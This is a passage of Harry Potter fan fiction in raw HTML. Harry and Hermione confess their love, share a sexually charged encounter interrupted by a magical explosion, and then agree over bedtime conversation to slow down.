class="MsoBodyTextIndent2">Hermione got in front of him, and planted her hands\non his chest, stopping him. &#8220;Harry! You know we have to alert them! If you\ndon&#8217;t do it, you know I will!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know only too well.&#8221; Harry growled.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;And what is THAT supposed to mean?&#8221; Hermione\nnarrowed her eyes.</p>\n\n<p class="MsoBodyTextIndent2">Harry winced. &#8220;Nothing, forget it.&#8221; Harry pushed\npast her and entered his study.</p>\n\n<p class="MsoBodyTextIndent2">Hermione latched onto his arm and spun him around\njust as he walked through the door. &#8220;I don&#8217;t think so Mr. Potter,&#8221; she said,\nfolding her arms across her chest.</p>\n\n<p class="MsoBodyTextIndent2">Harry raised his hands in placation. &#8220;I just meant\nthat you always do the responsible thing even when I don&#8217;t want you to. Like\nwhen I got my Firebolt.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh God! I can&#8217;t believe you&#8217;d compare that to\nthis!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m not comparing them, I was just mentioning\nanother time when you took matters into your own hands when I refused to do the\nsmart thing.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh, so you admit that I did the right thing back\nthen?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Honey, I got over that a long, long time ago. You\nwere half right, and if I had been thinking straight, I would have seen that.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, it really hurt that you were mad at me,\nwhen all I was doing was trying to keep you safe.&#8221; Hermione said softly.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know, and I&#8217;ve kicked my ass numerous times over\nthe years for how much I took you for granted or under-appreciated you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You did?&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes. I was blind. It never occurred to me just how\nmuch I needed you&#8212;need you.&#8221; Harry amended quietly.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;D-d-do you really mean that?&#8221; Hermione&#8217;s lower lip\nstarted trembling, and she stuttered slightly.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Every word. I just wish I&#8217;d said them long ago,&#8221;\nsaid Harry, stepping closer and taking her hands.</p>\n\n<p class="MsoBodyTextIndent2">Hermione averted her eyes. &#8220;Y-y-you d-d-don&#8217;t know\nhow much that means to me,&#8221; she said, a faint blush coloring her cheeks.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes, I do.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;I-I-it&#8217;s okay Harry. There were a lot of things\nclaiming the majority of your attention back then.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry shook his head. &#8220;No, there is no excuse for\nit,&#8221; he insisted. &#8220;You were there for me through thick and thicker and I\nbarely, if ever acknowledged that. I was so&#8230;&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry&#8230;&#8221; Hermione pressed her finger to his lips to\nquiet him. &#8220;It&#8217;s alright. I forgave you for being thickheaded a long, long time\nago.&#8221; She laughed softy. &#8220;It&#8217;s really quite funny actually. You&#8217;re so\nobservant, but you completely miss what is right in front of you. It&#8217;s always\nbeen your biggest character flaw.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry tried to speak, but her finger against his\nlips bade him to remain silent.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;But that didn&#8217;t matter to me then, and it matters\nless now. I love you Harry. This last little episode of yours drove that fact\nhome very hard. I thought I&#8217;d lost you, and I didn&#8217;t know how I was going to\ncope with that.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry reached up and gently took her hand away from\nhis mouth. &#8220;You love me?&#8221; He asked, the awe in his voice apparent. Hermione\nnodded, and his heart gave a leap. No one had ever professed to love him, not\nto his face anyway. There was a new sensation burning in his chest, and he\nrealized that Hermione wasn&#8217;t the only one in love. &#8220;I-I-love you too,&#8221; he\nsaid, not taking his eyes off her. Before he knew it, he had gotten lost in\nHermione&#8217;s smoldering eyes. Unable to stop himself, he raised a hand and\ncaressed her cheek, drawing her face closer to his. Their gazes remained\nlocked, and they both moved closer. He saw Hermione&#8217;s eyes close just before\nhis own, and then he knew nothing except the pressure of her lips on his, the\ntaste of her mouth, and the light, hesitant touch of her tongue. Acting\ninstinctively, Harry brushed her lips with his own tongue, and met hers in a\nsilent duel when she invited him in. </p>\n\n<p class="MsoBodyTextIndent2">For Harry, time lost all meaning, and nothing\nexisted except Hermione. Her mouth under his, her hands roaming from his hair,\nover his chest and down to his rear end had his full attention. He, of course,\nfelt that she deserved to get as good as she was giving, and his hands took to\nexploring as well. He trailed his hands lightly over her shoulders, and down\nher sides just barely brushing over her breasts, causing her to gasp into his\nmouth. The thin material of her shirt did nothing to conceal her excitement,\nand feeling the hardened buds beneath his palms gave Harry pause. He broke the\nkiss long enough to look where his hands were. He started to move them, but\nHermione&#8217;s hands grabbed his, holding them pressed to her chest. She whimpered\nwhen he repeatedly rubbed over the sensitive nubs with his thumbs. Harry felt\nher hands move downward and rub his arousal through his jeans. It was too much\nfor him, and he slid his hands down to her behind, cupping the smooth flesh\nthrough her skirt. He squeezed tightly, pulling her to him. They stumbled, and\nHarry felt his back strike the doorjamb. Using it to catch his balance, he\npushed Hermione up against the opposite side. He nuzzled her ear, nibbling the\nlobe, before trailing kisses down the side of her neck. Hermione moaned,\ngrabbed his head and held it tight to her throat. He felt her clawing his shirt\nfree from his pants, and then her cool hands on his chest, squeezing his\npectorals, and trailing up and down his abs.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ve wanted to feel your muscles ever since I saw\nyou in the shower.&#8221; Hermione breathed. </p>\n\n<p class="MsoBodyTextIndent2">Harry raised his hands to her breasts again, and\nlooked into her eyes. He saw encouragement, so he started fumbling with the\nbuttons of her shirt. He spread the cloth, revealing her breasts encased in a\nsatin bra, colored a delicate pale pink with the clasp in front. The bra did\nlittle to conceal, the light color and soft material meant that she might as\nwell be nude, a condition that Harry fully agreed with. He quickly worked out\nhow to release the locking mechanism, and very slowly, almost reverently\ncaressed the soft mounds.&nbsp; </p>\n\n<p class="MsoBodyTextIndent2">Harry gently rolled Hermione&#8217;s nipples between his\nfingers, and she gasped and shuddered. He took a moment to examine her breasts,\nand he was in awe. They were very pert, and large enough that his hands\ncouldn&#8217;t contain them completely.&nbsp; &#8220;So\nperfect,&#8221; he mumbled. He crushed her lips with his again, sliding his hands\nunder her skirt, and this time he went under her panties as well. He caressed\nthe tight muscles of her cheeks and ground himself into her. He felt Hermione\nfumbling with his belt, and before he knew it her hand was wrapped around him,\nsqueezing softly. Harry&#8217;s eyes crossed, and the world exploded around him.</p>\n\n<p class="MsoBodyTextIndent2">Everything seemed to happen in slow motion. Harry\nyanked Hermione&#8217;s hand out of his pants, and spun quickly, looking for the\nthreat. He saw glass, books and wooden shards flying all over the room. He\nthrust Hermione behind him to shield her from the flying debris and conjured a\nfield to deflect shrapnel. </p>\n\n<p class="MsoBodyTextIndent2">After the roar of the explosion had died down, and\nHarry had deduced that there wasn&#8217;t another attack forth coming, he turned to\nhis companion. What he saw caused him to smile, but the look on her face killed\nhis mirth. Hermione&#8217;s face was flushed, her hair was a mess, her bra was\nbunched up under her shirt that was buttoned wrong, and only partially tucked\nin, but her wand was out and she was ready for battle. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;What the bloody hell just happened?&#8221; Hermione&#8217;s\nlips moved, but no sound seemed to come out. </p>\n\n<p class="MsoBodyTextIndent2">Harry shrugged, closed his pants and gave her a\nonce over. &#8220;I was about to ask if you were alright, but my question has already\nbeen answered,&#8221; he shouted over the ringing in his ears. Hermione smiled,\nshowing that she understood even if she couldn&#8217;t hear him. He had understood\nwhat Hermione said, even though he couldn&#8217;t hear her, almost as if her voice\nwas in his head. He smiled at her use of profanity; her proper grammar always\nseemed to be the first thing that disappeared when she was upset.</p>\n\n<p class="MsoBodyTextIndent2">Harry was assessing the damages, and looking for\nthe cause of the explosion when he was attacked by a very perturbed Snowy Owl.\nHedwig didn&#8217;t look like she was hurt, but judging by her attitude, and the look\non her face, Harry was very glad that he couldn&#8217;t hear at the moment. The big\nowl was obviously screeching at the top of her lungs, and every time she flew\nby him, she swatted him with a wing. Harry ducked repeated flybys, and decided\nthat the examination of the room could wait until his pet had calmed down\nenough to allow them to look around without beating them to death. He grabbed\nHermione&#8217;s hand, and tugged her down the hall. He thought that if they left the\nroom, Hedwig would eventually wear herself out. He thought wrong. The Snowy Owl\nshot out of the study, and flew straight at them, attacking with wings and\ntalons. Harry threw up his arms to shield his head as well as grab the\ndisgruntled bird, but Hedwig was having none of it. She pursued them all the\nway to the den, then perched on the chandelier and continued to voice her annoyance.</p>\n\n<p class="MsoBodyTextIndent2">Harry indicated the couch, and Hermione sat down.\nHe dropped down beside her, and took her hand. They avoided the others&#8217; eyes,\nand just stared at their clasped hands. Harry wanted to say something about\nwhat had almost happened, but knew with their hearing on the blink it was\nuseless. He gently raised Hermione&#8217;s face until their eyes met. He looked deep;\nsearching for affirmation that what had nearly happened hadn&#8217;t been a mistake.\nWhat he saw made his heart swell, and he couldn&#8217;t stop himself from smiling.\nHis feelings were mirrored in her eyes, and they both breathed a sigh of\nrelief. Harry settled back on the couch, and wrapped his arms around her.\nHermione laid her head on his shoulder, and they just sat there, content.</p>\n\n<p class="MsoBodyTextIndent2">&nbsp;Harry was\nunsure of how much time passed while they sat on the couch in companionable\nsilence and only realized that his hearing had returned when Hedwig landed on\nthe arm of the couch opened her beak a few inches from his ear and let out a\nshrill screech. Harry cried out and jammed his fingers in his ears\ninadvertently striking the bird with his elbow.&nbsp; Hedwig took this as a personal affront, and took to the air,\nscreaming her fury, and startling Hermione who clapped her hands over her ears\nand gave the raptor a look that promised death. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Aaaahhhh! Hedwig! SHUT UP!&#8221; Harry roared.</p>\n\n<p class="MsoBodyTextIndent2">Hedwig landed back on the chandelier, gave Harry a\nlook that screamed injured pride, and squawked at him before turning her back\non him. Unfortunately, she continued her raucous screeching. Harry&#8217;s head was\nstarting to hurt from all the noise, and he yelled at the bird again. He was\nunprepared for the look of disdain Hedwig turned on him before squawking again\nand showing him her back. Harry had dealt with a lot of things, but Hedwig was\nworse than any Basilisk, Dementor or anything Voldemort had thrown at him.\n&#8220;Hedwig! SHUT UP NOW!&#8221; Harry had pulled his fingers from his ears, and was\nstanding under the chandelier screaming at his pet.</p>\n\n<p class="MsoBodyTextIndent2">Hedwig fluffed her tail feathers at Harry, and he\nraised a finger in warning. &#8220;Don&#8217;t you even think about it,&#8221; he threatened.</p>\n\n<p class="MsoBodyTextIndent2">The big owl fluffed her feathers again, gave him\nanother look then turned her beak up at him. That would have been fine with\nHarry, but when he turned back to Hermione, Hedwig launched into another vociferous\nassault on their auditory senses. Harry spun around, his eyes blazing. &#8220;Hedwig!\nI swear to God if you don&#8217;t shut up right now, I&#8217;m going to have fried owl for\ndinner!&#8221; He raised his hand, his fingertip glowing with power, but a soft voice\nstopped him.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, calm down. I&#8217;ll take care of this.&#8221;\nHermione said. Harry turned around to see Hermione grinning and raising her\nwand. <i>&#8220;Quietus!&#8221;</i> she cried, and immediately Hedwig&#8217;s shrieking ceased. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Thank you,&#8221; Harry said, pinching the bridge of his\nnose.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You&#8217;re welcome.&#8221; Hermione said brightly. She\nfrowned suddenly. &#8220;Harry, you weren&#8217;t really going to fry Hedwig were you?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry laughed. &#8220;Not at all. You saw how worried she\nwas right? I have to threaten her at least once a day, just so she knows she&#8217;s\nstill important.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s odd behavior for an owl isn&#8217;t it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Not for Hedwig. I learned a long time ago that she\nhas an attitude and a personality all her own.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione giggled. &#8220;Poor Harry. She has you wrapped\naround her little talon hasn&#8217;t she?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry chuckled. &#8220;Yeah, I&#8217;m whipped,&#8221; his grin\nturned wicked, &#8220;of course, now that I have you, she&#8217;s got competition.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione blushed. &#8220;Don&#8217;t get me started again\nHarry,&#8221; she warned, &#8220;if you do, I don&#8217;t think I&#8217;ll be able to stop no matter\nwhat blows up, and that would really hinder calling the Alicorn.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry cleared his throat. &#8220;Right. I&#8217;ll behave if\nyou will,&#8221; he stuck out his hand. &#8220;Want to shake, or should we kiss on it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Shaking is so impersonal,&#8221; Hermione said. &#8220;We&#8217;re practically\nlovers, we should kiss, but I don&#8217;t think that&#8217;s a good idea considering what\nour last kiss led to.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Awww, c&#8217;mon. Just a quick one?&#8221; Harry said, giving\nher his most innocent look.</p>\n\n<p class="MsoBodyTextIndent2">Hermione frowned, &#8220;I really don&#8217;t think we should\nHarry.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, you&#8217;re probably right. Pinky swear?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Pinky swear,&#8221; Hermione said, smiling.</p>\n\n<p class="MsoBodyTextIndent2">Harry stuck out his smallest finger, and curled it\naround Hermione&#8217;s. &#8220;I swear to behave, and do my best to control my urges\ntowards you,&#8221; he said.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Me too.&#8221; Hermione grinned.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That was a total cop out, and you know it.&#8221; Harry\nscolded.</p>\n\n<p class="MsoBodyTextIndent2">Hermione gave him her brightest smile. &#8220;I know.&#8221;\nShe turned and walked away.</p>\n\n<p class="MsoBodyTextIndent2">Harry&#8217;s mind was a complete blank. He wasn&#8217;t sure\nwhen Hermione had gained the ability to turn his brain to mush with a smile,\nand was mildly amused when he realized that he liked it. He was still musing,\nwhen he realized that Hermione was no longer in the room. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hey, where&#8217;d you go?&#8221; Harry said, leaving the\nroom. He started to go look for Hermione, but decided that he really should\ninvestigate his study and see what had exploded. He entered the room, and was\naghast at the mess. Glass littered the floor, and protruded from the walls. He\nstepped over numerous books, picked up the luxury eagle feather quill given him\nby Hermione for Christmas their second year at Hogwarts, and placed it on his\ndesk.</p>\n\n<p class="MsoBodyTextIndent2">Harry couldn&#8217;t sense any Dark Magic in the room, so\nhe looked for the remains of any Muggle explosive devices. He canvassed the\nentire room and found nothing. Opening his awareness, he expanded his senses\noutward, searching for anything out of place. That too was a bust, and Harry\nwas left with the conclusion that he had caused the explosion during his and\nHermione&#8217;s almost romp. He shook his head in irritation, and grabbed a handful\nof owl treats for Hedwig. He set them on his desk, and whistled for the owl. He\nlooked around at the room and shook his head again in disgust. He snapped his\nfingers, and the room was instantly repaired.<i></i></p>\n\n<p class="MsoBodyTextIndent2">Harry decided that even though they had agreed to behave,\nhe and Hermione really needed to talk about what had happened, and much as he\ndidn&#8217;t want to do it, he knew they were going to have to come to some kind of\nterms. </p>\n\n<p class="MsoBodyTextIndent2">Harry left the study, and headed for his room to\nchange clothes. He heard movement in the bathroom, and quietly opened to door\nto see Hermione already changed for bed, and brushing her teeth. He folded his\narms and leaned against the doorjamb, watching her every movement. She was\nwearing a nightgown instead of the shorts and t-shirt combo of the previous\nnight, and Harry found her choice very appealing. It was light blue and thigh\nlength. He was also very surprised, and very pleased to note that under the\ngown, she wore nothing at all. Hermione bent over to rinse her mouth, and her\ngown rode up, almost exposing the lower portion of her bottom, and causing\nHarry&#8217;s breath to quicken. She grabbed a robe that had somehow skipped his\nattention and shrugged into it. Harry waited until the last possible second\nbefore closing the door and going about his own bedtime ablutions.</p>\n\n<p class="MsoBodyTextIndent2">Harry was in his room when Hermione knocked on the\ndoor. &#8220;Come in,&#8221; he called. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Are you decent?&#8221; Hermione asked, before slowly\nopening the door a crack and peeking in. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Decent enough.&#8221; Harry said. He was wearing a pair\nof black boxer-briefs and was digging through his drawers for a pair of shorts\nto sleep in. He looked up when Hermione walked in. He noticed that she had tied\nher robe very securely around herself, and halfway expected her to have cast a\nknotting charm as well. &#8220;Hey,&#8221; he said simply, going back to his task. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Getting ready for bed?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, soon as I find my shorts.&#8221; Harry muttered,\nwondering exactly when he had managed to lose his favorite pair of shorts.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No pajama bottoms tonight?&#8221; Hermione asked,\ndropping down on his bed and leaning on an elbow to watch.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Nah, too warm and binding.&#8221; Harry slammed the next\nto last drawer shut, and opened the bottom one. &#8220;If they&#8217;re not in here, then I\nhave no clue as to where they might be.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione rolled onto her stomach and kicked her\nfeet in the air. &#8220;Can&#8217;t just sleep in your underwear?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I guess I could, if you don&#8217;t mind seeing my pale,\nskinny legs that is.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;I don&#8217;t mind.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay, don&#8217;t blame me if you go blind from the\nglare.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;ll chance it.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You&#8217;ve been warned.&#8221; Harry stood up and pushed the\ndrawer shut with his foot. He grabbed a t-shirt off the bed and pulled it on.\nHe sat down beside Hermione, and rested his hand on her back. &#8220;Pumpkin, we have\nto talk.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Let me guess,&#8221; Hermione said, sitting up and\nfacing him. &#8220;We blew up the study.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry knew his confusion showed on his face. &#8220;How&#8217;d\nyou guess?&#8221; </p>\n\n<p class="MsoBodyTextIndent2">Hermione gave Harry an incredulous look. &#8220;I could\nfeel the power coming off you in waves Harry. With the amount of energy you were\npouring out, I&#8217;m surprised there&#8217;s a room left.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah. That&#8217;s really what I wanted to talk about.\nYou got me that worked up and all I did was blow up the study, the power didn&#8217;t\nhurt you. I was afraid that if something happened between us, then the power\nwould affect you just like it did the room. I&#8217;m glad I was wrong.&#8221; Harry ran a\nhand through his hair. &#8220;Speaking of that, I think it was more of how fast I got\nworked up rather than the intensity of the build up that caused the explosion.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;So you think that if you had gotten worked up\nslower then everything would have been alright?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry nodded. &#8220;Yeah, you said I was pouring out a\nlot of energy, and you&#8217;re not hurt by it, so if I get excited slowly, then we\nshould be able to release a lot of, for lack of a better word, excess energy.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;We still can&#8217;t have sex Harry.&#8221; Hermione said.\n&#8220;Although God knows I want to.&#8221; She said the last part very softly, and Harry\nbarely caught it.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know, but there are alternatives.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry gave Hermione a suspicious look. &#8220;Hermione,\nyou don&#8217;t know anything about sex, do you?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione&#8217;s face turned bright red, and she sat bolt\nupright. &#8220;I know as much as you do!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry grinned. &#8220;Somehow, I seriously doubt that.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know everything I need to, thank you very much!&#8221;\nHermione was working herself into one of her patented huffs.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh really?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes really!&#8221; she snapped.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Care to test your knowledge?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione folded her arms and glared at him. &#8220;I am\nalways ready to test my knowledge.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay then. What can two people do to relieve the\nsexual tension in each other?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Just jumped right in there didn&#8217;t you.&#8221; Hermione\nflushed. &#8220;I know the basics, and there&#8217;s y&#8217;know the thing with uhm&#8230;well.&#8221; Her\nblush grew brighter and brighter. &#8220;Alright! I don&#8217;t know! Okay? I have an idea,\nbut I don&#8217;t know anything for a fact.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hermione, you&#8217;re the most well read person I&#8217;ve\never met, how can you not know this?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione looked down at her lap. &#8220;I don&#8217;t know. It\njust never interested me enough. I was too busy learning what I considered\nuseful information to worry about anything of a sexual nature.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Right,&#8221; Harry felt an attack of nerves coming on,\nand rushed ahead. &#8220;So, would you be interested in learning then?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I-I-I&#8217;m not sure,&#8221; Hermione stammered.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Are you scared?&#8221; he asked gently.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;A little,&#8221; she admitted.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Do you trust me?&#8221; Harry stared into her eyes.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;With my life.&#8221; Hermione returned his gaze. &#8220;It\njust seems that we&#8217;re moving awfully fast.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry nodded. &#8220;I understand completely. It&#8217;s only\nbeen a couple of days since we first mentioned that we have feelings for each\nother, and now we&#8217;re talking about sex, and its alternatives.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah. Can we slow down?&#8221; Hermione asked. &#8220;At least\na little bit?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry took a deep breath, and broke their eye\ncontact. &#8220;Of course. We don&#8217;t have to do anything right now, and to be honest I\nthink we should become a little more comfortable with each other before we do\ntake that next step. Also, it will give both of us time to get used to the\nidea.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I like that better.&#8221; Said Hermione. &#8220;Thanks.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry smiled. &#8220;No problem.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Where did you learn about sex?&#8221; Hermione&#8217;s voice\nheld the unmistakable note of a person that knows they&#8217;re not going to like the\nanswer to the question they just asked.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Sirius. He tried to tell me everything, but that\nwas a conversation that died very quickly. I picked up some vague things just\nby listening, and reading some of his magazines, and then when we were in\nAmerica, we had cable. He made sure that we got <b style="mso-bidi-font-weight:\nnormal">ALL </b>the channels, and\nencouraged me to take a look at the more adult fare while he was out. So I\nwatched Cinemax, and quite a few adult movies and coupled with what I already\nknew from reading, I now have a working knowledge of what can be done. No\npractical experience, but a whole lot of knowledge on the subject.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh.&#8221;\nHermione had a very thoughtful look on her face.</p>\n\n<p class="MsoBodyTextIndent2">Harry\nwondered what was going on inside her head, and watched her very carefully. He\ndidn&#8217;t say anything, giving her time to think about everything. He watched her\nthoughtful expression change several times before settling on one that he\nrecognized as her determined look.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I want to\nlearn.&#8221; Hermione said simply, but her face glowed with obvious embarrassment.\n&#8220;Will you teach me?&#8221; Her voice was very quiet. </p>\n\n<p class="MsoBodyTextIndent2">Harry\nreached out and took her hands in his. &#8220;We&#8217;ll learn together,&#8221; he said softly.\nHe was about to say more, but Hermione cut him off with a soft laugh. &#8220;What&#8217;s\nso funny?&#8221; he asked.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Us.&#8221;\nHermione smiled, shaking her head.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What about\nus?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;We keep\nadding to our list of things to get done. One; find the book that has the spell\nin it. Two; deal with the Order.&#8221; She said, ticking them off on her fingers.\n&#8220;Three; Gather the ingredients for the potion to cure Dumbledore. Four; Stop\nVoldemort, and Five; teach each other about sex. Quite a list wouldn&#8217;t you\nsay?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">The tender\nmoment was effectively ended, and Harry felt the beginnings of a massive\nheadache brewing behind his eyes. He hadn&#8217;t thought of everything the way\nHermione had. When tallied, they had indeed given themselves quite a set of tasks.\nHe took off his glasses and fell back on the bed with a groan. &#8220;Damn.&#8221; He felt\nthe bed move, and Hermione laid her head on his shoulder.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Don&#8217;t\nworry Harry.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I can&#8217;t\nhelp it.&#8221; Harry rubbed his eyes. &#8220;I never once gave a thought to how many\nthings we have lined up. At first, all I was going to do was research the\nspell, and hopefully find something that would help Dumbledore. Then we find\nout that a couple of the ingredients for the potion are damn near impossible to\nget, and my scar bursts open and there&#8217;s a message saying Voldemort is back, or\nwill be back soon. And then to top everything off, there&#8217;s this big thing\nbetween you and I that has to be dealt with, and sooner rather than later,\nbecause I don&#8217;t think I&#8217;ll be able to stand it for very long.&#8221; He took a deep\nbreath. &#8220;That&#8217;s a lot to deal with, and I don&#8217;t know how I&#8217;m going to manage\nit.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;We.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Not you.\nWe.&#8221; Hermione repeated. &#8220;You&#8217;re not shouldering this alone Harry. I&#8217;m here for\nas long as you need me.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh.&#8221; Harry\nraised his head, and looked at her. &#8220;Thank you.&#8221; He said, kissing the top of\nher head.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You&#8217;re\nwelcome.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">Harry could\nhear the fatigue in Hermione&#8217;s voice, and it dawned on him that they had been\nrunning at full steam all day, and most of the night. He yawned, and realized\nthat if they were going to be of any use tomorrow, then they really should get\nto bed. &#8220;Hermione?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hmmm?&#8221; she\nmumbled.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I think we\nshould go to bed.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">It was a testament to how tired Hermione was, that\nshe didn&#8217;t even react to the suggestive nature of his comment. She just nodded\nagainst his chest and curled up closer to him. &#8220;Sounds good to me.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry groaned. This was not going to be easy. &#8220;I\nmeant in our own beds.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I&#8217;m comfy here.&#8221; Hermione seemed intent on\nsnuggling as close as possible to him, and Harry wasn&#8217;t sure about how to\nhandle it.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hermione.&#8221; Harry raised his voice slightly to get\nher attention. &#8220;I would love for you to sleep right here with me, but&#8230;&#8221; He\nblushed, &#8220;I tend to wake up in an excited state.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You too?&#8221; she asked, yawning.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hermione!&#8221; Harry snapped through gritted teeth.\n&#8220;This is severely taxing my self control here. If I don&#8217;t control my\nexcitement, then it may become too strong to fight.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione looked at him sleepily. &#8220;Huh?&#8221; Harry could\nsee her dawning realization of what his words meant. &#8220;Oh. OH!&#8221; She sat up\nquickly. &#8220;I&#8217;m sorry, I wasn&#8217;t thinking, of course you&#8217;d have to deal with your\nexcitement, just as I&#8217;ll have to deal with mine.&#8221; She realized what she had\nsaid a moment too late, and she turned scarlet. &#8220;That is to say that uhm&#8230;What I\nmeant to say was&#8230;&#8221; Hermione got redder and redder the more she tried to dig\nherself out. Harry finally took pity on her and interrupted.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know what you&#8217;re trying to say, and it&#8217;s\ncompletely natural.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know that Harry, but don&#8217;t you think it&#8217;s a bit\nodd for us to be talking about it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry shrugged. &#8220;Not really,&#8221; he stifled a mighty\nyawn, and blinked rapidly. &#8220;It is a conversation for another time though. We\nneed sleep, and now.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione nodded and got off the bed. She leaned\ndown and kissed him quickly on the lips. &#8220;Good night Harry.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Night Hermione.&#8221; Harry watched her leave the room,\nand 